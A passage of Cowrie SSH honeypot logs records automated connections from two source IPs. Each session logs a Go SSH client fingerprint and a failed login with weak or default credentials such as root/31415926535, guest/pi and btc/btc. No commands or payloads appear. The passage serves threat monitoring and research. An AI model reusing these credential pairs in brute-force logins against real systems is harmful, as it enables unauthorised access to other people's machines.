{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:42.356826Z","src_ip":"192.109.200.78","session":"6d1128b1d91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47810,"dst_ip":"10.17.0.5","dst_port":22,"session":"6006e47042ab","protocol":"ssh","message":"New connection: 192.109.200.78:47810 (10.17.0.5:22) [session: 6006e47042ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:44.226434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:44.230907Z","src_ip":"192.109.200.78","session":"6006e47042ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:44.312032Z","src_ip":"192.109.200.78","session":"6006e47042ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:44.556926Z","src_ip":"192.109.200.78","session":"6006e47042ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:45.640415Z","src_ip":"192.109.200.78","session":"6006e47042ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47826,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f5cd3ec513","protocol":"ssh","message":"New connection: 192.109.200.78:47826 (10.17.0.5:22) [session: 67f5cd3ec513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:47.803320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:47.811779Z","src_ip":"192.109.200.78","session":"67f5cd3ec513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:47.893480Z","src_ip":"192.109.200.78","session":"67f5cd3ec513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:48.141178Z","src_ip":"192.109.200.78","session":"67f5cd3ec513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:49.224443Z","src_ip":"192.109.200.78","session":"67f5cd3ec513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47836,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8cfa7459bc1","protocol":"ssh","message":"New connection: 192.109.200.78:47836 (10.17.0.5:22) [session: e8cfa7459bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:51.183625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:51.187531Z","src_ip":"192.109.200.78","session":"e8cfa7459bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:51.268014Z","src_ip":"192.109.200.78","session":"e8cfa7459bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:51.511328Z","src_ip":"192.109.200.78","session":"e8cfa7459bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:52.595752Z","src_ip":"192.109.200.78","session":"e8cfa7459bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87362cbe792","protocol":"ssh","message":"New connection: 192.109.200.78:32790 (10.17.0.5:22) [session: e87362cbe792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:54.502387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:54.507259Z","src_ip":"192.109.200.78","session":"e87362cbe792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:54.588767Z","src_ip":"192.109.200.78","session":"e87362cbe792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:55.106567Z","src_ip":"192.109.200.78","session":"e87362cbe792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:56.190196Z","src_ip":"192.109.200.78","session":"e87362cbe792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32792,"dst_ip":"10.17.0.5","dst_port":22,"session":"871b192fce59","protocol":"ssh","message":"New connection: 192.109.200.78:32792 (10.17.0.5:22) [session: 871b192fce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:58.173995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:58.178251Z","src_ip":"192.109.200.78","session":"871b192fce59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:58.259967Z","src_ip":"192.109.200.78","session":"871b192fce59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:58.514208Z","src_ip":"192.109.200.78","session":"871b192fce59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:59.599241Z","src_ip":"192.109.200.78","session":"871b192fce59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32796,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8242ac70ab0","protocol":"ssh","message":"New connection: 192.109.200.78:32796 (10.17.0.5:22) [session: c8242ac70ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:01.550878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:01.555555Z","src_ip":"192.109.200.78","session":"c8242ac70ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:01.642277Z","src_ip":"192.109.200.78","session":"c8242ac70ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:01.898669Z","src_ip":"192.109.200.78","session":"c8242ac70ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:02.984832Z","src_ip":"192.109.200.78","session":"c8242ac70ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60216,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5dea8f7fda1","protocol":"ssh","message":"New connection: 192.109.200.78:60216 (10.17.0.5:22) [session: a5dea8f7fda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:04.998677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:05.163177Z","src_ip":"192.109.200.78","session":"a5dea8f7fda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:05.166583Z","src_ip":"192.109.200.78","session":"a5dea8f7fda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:05.518235Z","src_ip":"192.109.200.78","session":"a5dea8f7fda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:06.602442Z","src_ip":"192.109.200.78","session":"a5dea8f7fda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57350,"dst_ip":"159.203.135.109","dst_port":22,"session":"d789c82e997a","protocol":"ssh","message":"New connection: 89.223.69.22:57350 (159.203.135.109:22) [session: d789c82e997a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:07.621960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:07.626186Z","src_ip":"89.223.69.22","session":"d789c82e997a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:07.751905Z","src_ip":"89.223.69.22","session":"d789c82e997a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926535","message":"login attempt [root/31415926535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:08.110191Z","src_ip":"89.223.69.22","session":"d789c82e997a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60226,"dst_ip":"10.17.0.5","dst_port":22,"session":"858a37351b99","protocol":"ssh","message":"New connection: 192.109.200.78:60226 (10.17.0.5:22) [session: 858a37351b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:08.624241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:08.629691Z","src_ip":"192.109.200.78","session":"858a37351b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@